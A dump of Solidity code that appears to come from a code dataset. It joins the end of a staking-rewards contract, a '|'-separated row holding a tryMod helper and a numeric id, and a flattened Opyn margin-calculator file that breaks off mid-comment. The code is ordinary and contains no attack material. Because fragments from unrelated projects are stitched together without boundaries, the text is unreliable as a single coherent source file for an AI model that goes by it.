_boostedBalances[who] = _boostedBalances[who].add(amount);
emit Staked(who, amount);
}
function _stakeLocked(
address who,
uint256 amount,
uint256 secs
) internal nonReentrant notPaused updateReward(who) {
require(amount > 0, 'Cannot stake 0');
require(secs > 0, 'Cannot wait for a negative number');
require(greylist[who] == false, 'address has been greylisted');
require(
secs >= lockedStakeMinTime,
StringHelpers.strConcat(
'Minimum stake time not met (',
lockedStakeMinTimeStr,
')'
)
);
require(
secs <= lockedStakeTimeGorMaxMultiplier,
'You are trying to stake for too long'
);
uint256 multiplier = stakingMultiplier(secs);
uint256 boostedAmount = amount.mul(multiplier).div(_PRICE_PRECISION);
_lockedStakes[who].push(
LockedStake(
keccak256(abi.encodePacked(who, block.timestamp, amount)),
block.timestamp,
amount,
block.timestamp.add(secs),
multiplier
)
);
// Pull the tokens from the staker or the operator
TransferHelper.safeTransferFrom(
address(stakingToken),
msg.sender,
address(this),
amount
);
// Staking token supply and boosted supply
_stakingTokenSupply = _stakingTokenSupply.add(amount);
_stakingTokenBoostedSupply = _stakingTokenBoostedSupply.add(
boostedAmount
);
// Staking token balance and boosted balance
_lockedBalances[who] = _lockedBalances[who].add(amount);
_boostedBalances[who] = _boostedBalances[who].add(boostedAmount);
emit StakeLocked(who, amount, secs);
}
// If the period expired, renew it
function _retroCatchUp() internal {
// Failsafe check
require(block.timestamp > periodFinish, 'Period has not expired yet!');
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint256 numPeriodsElapsed =
uint256(block.timestamp.sub(periodFinish)) / rewardsDuration; // Floor division to the nearest period
uint256 balance = rewardsToken.balanceOf(address(this));
require(
rewardRate
.mul(rewardsDuration)
.mul(crBoostMultiplier())
.mul(numPeriodsElapsed + 1)
.div(_PRICE_PRECISION) <= balance,
'Not enough ARTHX available for rewards!'
);
// uint256 old_lastUpdateTime = lastUpdateTime;
// uint256 new_lastUpdateTime = block.timestamp;
// lastUpdateTime = periodFinish;
periodFinish = periodFinish.add(
(numPeriodsElapsed.add(1)).mul(rewardsDuration)
);
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
emit RewardsPeriodRenewed(address(stakingToken));
}
/*
// This notifies people that the reward is being changed
function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) {
// Needed to make compiler happy
// if (block.timestamp >= periodFinish) {
// rewardRate = reward.mul(crBoostMultiplier()).div(rewardsDuration).div(_PRICE_PRECISION);
// } else {
// uint256 remaining = periodFinish.sub(block.timestamp);
// uint256 leftover = remaining.mul(rewardRate);
// rewardRate = reward.mul(crBoostMultiplier()).add(leftover).div(rewardsDuration).div(_PRICE_PRECISION);
// }
// // Ensure the provided reward amount is not more than the balance in the contract.
// // This keeps the reward rate in the right range, preventing overflows due to
// // very high values of rewardRate in the earned and rewardsPerToken functions;
// // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
// uint balance = rewardsToken.balanceOf(address(this));
// require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
// lastUpdateTime = block.timestamp;
// periodFinish = block.timestamp.add(rewardsDuration);
// emit RewardAdded(reward);
}
*/
}
|
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. _Available since v3.4._/
|
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
| 12,593,409
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/**
* SPDX-License-Identifier: UNLICENSED
*/
pragma solidity =0.6.10;
pragma experimental ABIEncoderV2;
// File: contracts/packages/oz/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/packages/oz/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/packages/oz/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/interfaces/OtokenInterface.sol
interface OtokenInterface {
function addressBook() external view returns (address);
function underlyingAsset() external view returns (address);
function strikeAsset() external view returns (address);
function collateralAsset() external view returns (address);
function strikePrice() external view returns (uint256);
function expiryTimestamp() external view returns (uint256);
function isPut() external view returns (bool);
function init(
address _addressBook,
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external;
function getOtokenDetails()
external
view
returns (
address,
address,
address,
uint256,
uint256,
bool
);
function mintOtoken(address account, uint256 amount) external;
function burnOtoken(address account, uint256 amount) external;
}
// File: contracts/interfaces/OracleInterface.sol
interface OracleInterface {
function isLockingPeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool);
function isDisputePeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool);
function getExpiryPrice(address _asset, uint256 _expiryTimestamp) external view returns (uint256, bool);
function getDisputer() external view returns (address);
function getPricer(address _asset) external view returns (address);
function getPrice(address _asset) external view returns (uint256);
function getPricerLockingPeriod(address _pricer) external view returns (uint256);
function getPricerDisputePeriod(address _pricer) external view returns (uint256);
function getChainlinkRoundData(address _asset, uint80 _roundId) external view returns (uint256, uint256);
// Non-view function
function setAssetPricer(address _asset, address _pricer) external;
function setLockingPeriod(address _pricer, uint256 _lockingPeriod) external;
function setDisputePeriod(address _pricer, uint256 _disputePeriod) external;
function setExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function disputeExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function setDisputer(address _disputer) external;
}
// File: contracts/interfaces/ERC20Interface.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function decimals() external view returns (uint8);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/packages/oz/SignedSafeMath.sol
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 private constant _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// File: contracts/libs/SignedConverter.sol
/**
* @title SignedConverter
* @author Opyn Team
* @notice A library to convert an unsigned integer to signed integer or signed integer to unsigned integer.
*/
library SignedConverter {
/**
* @notice convert an unsigned integer to a signed integer
* @param a uint to convert into a signed integer
* @return converted signed integer
*/
function uintToInt(uint256 a) internal pure returns (int256) {
require(a < 2**255, "FixedPointInt256: out of int range");
return int256(a);
}
/**
* @notice convert a signed integer to an unsigned integer
* @param a int to convert into an unsigned integer
* @return converted unsigned integer
*/
function intToUint(int256 a) internal pure returns (uint256) {
if (a < 0) {
return uint256(-a);
} else {
return uint256(a);
}
}
}
// File: contracts/libs/FixedPointInt256.sol
/**
* @title FixedPointInt256
* @author Opyn Team
* @notice FixedPoint library
*/
library FPI {
using SignedSafeMath for int256;
using SignedConverter for int256;
using SafeMath for uint256;
using SignedConverter for uint256;
int256 private constant SCALING_FACTOR = 1e27;
uint256 private constant BASE_DECIMALS = 27;
struct FixedPointInt {
int256 value;
}
/**
* @notice constructs an `FixedPointInt` from an unscaled int, e.g., `b=5` gets stored internally as `5**27`.
* @param a int to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledInt(int256 a) internal pure returns (FixedPointInt memory) {
return FixedPointInt(a.mul(SCALING_FACTOR));
}
/**
* @notice constructs an FixedPointInt from an scaled uint with {_decimals} decimals
* Examples:
* (1) USDC decimals = 6
* Input: 5 * 1e6 USDC => Output: 5 * 1e27 (FixedPoint 5.0 USDC)
* (2) cUSDC decimals = 8
* Input: 5 * 1e6 cUSDC => Output: 5 * 1e25 (FixedPoint 0.05 cUSDC)
* @param _a uint256 to convert into a FixedPoint.
* @param _decimals original decimals _a has
* @return the converted FixedPoint, with 27 decimals.
*/
function fromScaledUint(uint256 _a, uint256 _decimals) internal pure returns (FixedPointInt memory) {
FixedPointInt memory fixedPoint;
if (_decimals == BASE_DECIMALS) {
fixedPoint = FixedPointInt(_a.uintToInt());
} else if (_decimals > BASE_DECIMALS) {
uint256 exp = _decimals.sub(BASE_DECIMALS);
fixedPoint = FixedPointInt((_a.div(10**exp)).uintToInt());
} else {
uint256 exp = BASE_DECIMALS - _decimals;
fixedPoint = FixedPointInt((_a.mul(10**exp)).uintToInt());
}
return fixedPoint;
}
/**
* @notice convert a FixedPointInt number to an uint256 with a specific number of decimals
* @param _a FixedPointInt to convert
* @param _decimals number of decimals that the uint256 should be scaled to
* @param _roundDown True to round down the result, False to round up
* @return the converted uint256
*/
function toScaledUint(
FixedPointInt memory _a,
uint256 _decimals,
bool _roundDown
) internal pure returns (uint256) {
uint256 scaledUint;
if (_decimals == BASE_DECIMALS) {
scaledUint = _a.value.intToUint();
} else if (_decimals > BASE_DECIMALS) {
uint256 exp = _decimals - BASE_DECIMALS;
scaledUint = (_a.value).intToUint().mul(10**exp);
} else {
uint256 exp = BASE_DECIMALS - _decimals;
uint256 tailing;
if (!_roundDown) {
uint256 remainer = (_a.value).intToUint().mod(10**exp);
if (remainer > 0) tailing = 1;
}
scaledUint = (_a.value).intToUint().div(10**exp).add(tailing);
}
return scaledUint;
}
/**
* @notice add two signed integers, a + b
* @param a FixedPointInt
* @param b FixedPointInt
* @return sum of the two signed integers
*/
function add(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return FixedPointInt(a.value.add(b.value));
}
/**
* @notice subtract two signed integers, a-b
* @param a FixedPointInt
* @param b FixedPointInt
* @return difference of two signed integers
*/
function sub(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return FixedPointInt(a.value.sub(b.value));
}
/**
* @notice multiply two signed integers, a by b
* @param a FixedPointInt
* @param b FixedPointInt
* @return mul of two signed integers
*/
function mul(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return FixedPointInt((a.value.mul(b.value)) / SCALING_FACTOR);
}
/**
* @notice divide two signed integers, a by b
* @param a FixedPointInt
* @param b FixedPointInt
* @return div of two signed integers
*/
function div(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return FixedPointInt((a.value.mul(SCALING_FACTOR)) / b.value);
}
/**
* @notice minimum between two signed integers, a and b
* @param a FixedPointInt
* @param b FixedPointInt
* @return min of two signed integers
*/
function min(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return a.value < b.value ? a : b;
}
/**
* @notice maximum between two signed integers, a and b
* @param a FixedPointInt
* @param b FixedPointInt
* @return max of two signed integers
*/
function max(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return a.value > b.value ? a : b;
}
/**
* @notice is a is equal to b
* @param a FixedPointInt
* @param b FixedPointInt
* @return True if equal, False if not
*/
function isEqual(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) {
return a.value == b.value;
}
/**
* @notice is a greater than b
* @param a FixedPointInt
* @param b FixedPointInt
* @return True if a > b, False if not
*/
function isGreaterThan(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) {
return a.value > b.value;
}
/**
* @notice is a greater than or equal to b
* @param a FixedPointInt
* @param b FixedPointInt
* @return True if a >= b, False if not
*/
function isGreaterThanOrEqual(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) {
return a.value >= b.value;
}
/**
* @notice is a is less than b
* @param a FixedPointInt
* @param b FixedPointInt
* @return True if a < b, False if not
*/
function isLessThan(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) {
return a.value < b.value;
}
/**
* @notice is a less than or equal to b
* @param a FixedPointInt
* @param b FixedPointInt
* @return True if a <= b, False if not
*/
function isLessThanOrEqual(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) {
return a.value <= b.value;
}
}
// File: contracts/libs/MarginVault.sol
/**
* MarginVault Error Codes
* V1: invalid short otoken amount
* V2: invalid short otoken index
* V3: short otoken address mismatch
* V4: invalid long otoken amount
* V5: invalid long otoken index
* V6: long otoken address mismatch
* V7: invalid collateral amount
* V8: invalid collateral token index
* V9: collateral token address mismatch
*/
/**
* @title MarginVault
* @author Opyn Team
* @notice A library that provides the Controller with a Vault struct and the functions that manipulate vaults.
* Vaults describe discrete position combinations of long options, short options, and collateral assets that a user can have.
*/
library MarginVault {
using SafeMath for uint256;
// vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults.
struct Vault {
// addresses of oTokens a user has shorted (i.e. written) against this vault
address[] shortOtokens;
// addresses of oTokens a user has bought and deposited in this vault
// user can be long oTokens without opening a vault (e.g. by buying on a DEX)
// generally, long oTokens will be 'deposited' in vaults to act as collateral in order to write oTokens against (i.e. in spreads)
address[] longOtokens;
// addresses of other ERC-20s a user has deposited as collateral in this vault
address[] collateralAssets;
// quantity of oTokens minted/written for each oToken address in shortOtokens
uint256[] shortAmounts;
// quantity of oTokens owned and held in the vault for each oToken address in longOtokens
uint256[] longAmounts;
// quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets
uint256[] collateralAmounts;
}
/**
* @dev increase the short oToken balance in a vault when a new oToken is minted
* @param _vault vault to add or increase the short position in
* @param _shortOtoken address of the _shortOtoken being minted from the user's vault
* @param _amount number of _shortOtoken being minted from the user's vault
* @param _index index of _shortOtoken in the user's vault.shortOtokens array
*/
function addShort(
Vault storage _vault,
address _shortOtoken,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "V1");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.shortOtokens.length) && (_index == _vault.shortAmounts.length)) {
_vault.shortOtokens.push(_shortOtoken);
_vault.shortAmounts.push(_amount);
} else {
require((_index < _vault.shortOtokens.length) && (_index < _vault.shortAmounts.length), "V2");
address existingShort = _vault.shortOtokens[_index];
require((existingShort == _shortOtoken) || (existingShort == address(0)), "V3");
_vault.shortAmounts[_index] = _vault.shortAmounts[_index].add(_amount);
_vault.shortOtokens[_index] = _shortOtoken;
}
}
/**
* @dev decrease the short oToken balance in a vault when an oToken is burned
* @param _vault vault to decrease short position in
* @param _shortOtoken address of the _shortOtoken being reduced in the user's vault
* @param _amount number of _shortOtoken being reduced in the user's vault
* @param _index index of _shortOtoken in the user's vault.shortOtokens array
*/
function removeShort(
Vault storage _vault,
address _shortOtoken,
uint256 _amount,
uint256 _index
) external {
// check that the removed short oToken exists in the vault at the specified index
require(_index < _vault.shortOtokens.length, "V2");
require(_vault.shortOtokens[_index] == _shortOtoken, "V3");
uint256 newShortAmount = _vault.shortAmounts[_index].sub(_amount);
if (newShortAmount == 0) {
delete _vault.shortOtokens[_index];
}
_vault.shortAmounts[_index] = newShortAmount;
}
/**
* @dev increase the long oToken balance in a vault when an oToken is deposited
* @param _vault vault to add a long position to
* @param _longOtoken address of the _longOtoken being added to the user's vault
* @param _amount number of _longOtoken the protocol is adding to the user's vault
* @param _index index of _longOtoken in the user's vault.longOtokens array
*/
function addLong(
Vault storage _vault,
address _longOtoken,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "V4");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.longOtokens.length) && (_index == _vault.longAmounts.length)) {
_vault.longOtokens.push(_longOtoken);
_vault.longAmounts.push(_amount);
} else {
require((_index < _vault.longOtokens.length) && (_index < _vault.longAmounts.length), "V5");
address existingLong = _vault.longOtokens[_index];
require((existingLong == _longOtoken) || (existingLong == address(0)), "V6");
_vault.longAmounts[_index] = _vault.longAmounts[_index].add(_amount);
_vault.longOtokens[_index] = _longOtoken;
}
}
/**
* @dev decrease the long oToken balance in a vault when an oToken is withdrawn
* @param _vault vault to remove a long position from
* @param _longOtoken address of the _longOtoken being removed from the user's vault
* @param _amount number of _longOtoken the protocol is removing from the user's vault
* @param _index index of _longOtoken in the user's vault.longOtokens array
*/
function removeLong(
Vault storage _vault,
address _longOtoken,
uint256 _amount,
uint256 _index
) external {
// check that the removed long oToken exists in the vault at the specified index
require(_index < _vault.longOtokens.length, "V5");
require(_vault.longOtokens[_index] == _longOtoken, "V6");
uint256 newLongAmount = _vault.longAmounts[_index].sub(_amount);
if (newLongAmount == 0) {
delete _vault.longOtokens[_index];
}
_vault.longAmounts[_index] = newLongAmount;
}
/**
* @dev increase the collateral balance in a vault
* @param _vault vault to add collateral to
* @param _collateralAsset address of the _collateralAsset being added to the user's vault
* @param _amount number of _collateralAsset being added to the user's vault
* @param _index index of _collateralAsset in the user's vault.collateralAssets array
*/
function addCollateral(
Vault storage _vault,
address _collateralAsset,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "V7");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.collateralAssets.length) && (_index == _vault.collateralAmounts.length)) {
_vault.collateralAssets.push(_collateralAsset);
_vault.collateralAmounts.push(_amount);
} else {
require((_index < _vault.collateralAssets.length) && (_index < _vault.collateralAmounts.length), "V8");
address existingCollateral = _vault.collateralAssets[_index];
require((existingCollateral == _collateralAsset) || (existingCollateral == address(0)), "V9");
_vault.collateralAmounts[_index] = _vault.collateralAmounts[_index].add(_amount);
_vault.collateralAssets[_index] = _collateralAsset;
}
}
/**
* @dev decrease the collateral balance in a vault
* @param _vault vault to remove collateral from
* @param _collateralAsset address of the _collateralAsset being removed from the user's vault
* @param _amount number of _collateralAsset being removed from the user's vault
* @param _index index of _collateralAsset in the user's vault.collateralAssets array
*/
function removeCollateral(
Vault storage _vault,
address _collateralAsset,
uint256 _amount,
uint256 _index
) external {
// check that the removed collateral exists in the vault at the specified index
require(_index < _vault.collateralAssets.length, "V8");
require(_vault.collateralAssets[_index] == _collateralAsset, "V9");
uint256 newCollateralAmount = _vault.collateralAmounts[_index].sub(_amount);
if (newCollateralAmount == 0) {
delete _vault.collateralAssets[_index];
}
_vault.collateralAmounts[_index] = newCollateralAmount;
}
}
// File: contracts/core/MarginCalculator.sol
/**
* @title MarginCalculator
* @author Opyn
* @notice Calculator module that checks if a given vault is valid, calculates margin requirements, and settlement proceeds
*/
contract MarginCalculator is Ownable {
using SafeMath for uint256;
using FPI for FPI.FixedPointInt;
/// @dev decimals option upper bound value, spot shock and oracle deviation
uint256 internal constant SCALING_FACTOR = 27;
/// @dev decimals used by strike price and oracle price
uint256 internal constant BASE = 8;
/// @notice auction length
uint256 public constant AUCTION_TIME = 5400;
/// @dev struct to store all needed vault details
struct VaultDetails {
address shortUnderlyingAsset;
address shortStrikeAsset;
address shortCollateralAsset;
address longUnderlyingAsset;
address longStrikeAsset;
address longCollateralAsset;
uint256 shortStrikePrice;
uint256 shortExpiryTimestamp;
uint256 shortCollateralDecimals;
uint256 longStrikePrice;
uint256 longExpiryTimestamp;
uint256 longCollateralDecimals;
uint256 collateralDecimals;
uint256 vaultType;
bool isShortPut;
bool isLongPut;
bool hasLong;
bool hasShort;
bool hasCollateral;
}
/// @dev oracle deviation value (1e27)
uint256 internal oracleDeviation;
/// @dev FixedPoint 0
FPI.FixedPointInt internal ZERO = FPI.fromScaledUint(0, BASE);
/// @dev mapping to store dust amount per option collateral asset (scaled by collateral asset decimals)
mapping(address => uint256) internal dust;
/// @dev mapping to store array of time to expiry for a given product
mapping(bytes32 => uint256[]) internal timesToExpiryForProduct;
/// @dev mapping to store option upper bound value at specific time to expiry for a given product (1e27)
mapping(bytes32 => mapping(uint256 => uint256)) internal maxPriceAtTimeToExpiry;
/// @dev mapping to store shock value for spot price of a given product (1e27)
mapping(bytes32 => uint256) internal spotShock;
/// @dev oracle module
OracleInterface public oracle;
/// @notice emits an event when collateral dust is updated
event CollateralDustUpdated(address indexed collateral, uint256 dust);
/// @notice emits an event when new time to expiry is added for a specific product
event TimeToExpiryAdded(bytes32 indexed productHash, uint256 timeToExpiry);
/// @notice emits an event when new upper bound value is added for a specific time to expiry timestamp
event MaxPriceAdded(bytes32 indexed productHash, uint256 timeToExpiry, uint256 value);
/// @notice emits an event when updating upper bound value at specific expiry timestamp
event MaxPriceUpdated(bytes32 indexed productHash, uint256 timeToExpiry, uint256 oldValue, uint256 newValue);
/// @notice emits an event when spot shock value is updated for a specific product
event SpotShockUpdated(bytes32 indexed product, uint256 spotShock);
/// @notice emits an event when oracle deviation value is updated
event OracleDeviationUpdated(uint256 oracleDeviation);
/**
* @notice constructor
* @param _oracle oracle module address
*/
constructor(address _oracle) public {
require(_oracle != address(0), "MarginCalculator: invalid oracle address");
oracle = OracleInterface(_oracle);
}
/**
* @notice set dust amount for collateral asset
* @dev can only be called by owner
* @param _collateral collateral asset address
* @param _dust dust amount, should be scaled by collateral asset decimals
*/
function setCollateralDust(address _collateral, uint256 _dust) external onlyOwner {
require(_dust > 0, "MarginCalculator: dust amount should be greater than zero");
dust[_collateral] = _dust;
emit CollateralDustUpdated(_collateral, _dust);
}
/**
* @notice set product upper bound values
* @dev can only be called by owner
* @param _underlying otoken underlying asset
* @param _strike otoken strike asset
* @param _collateral otoken collateral asset
* @param _isPut otoken type
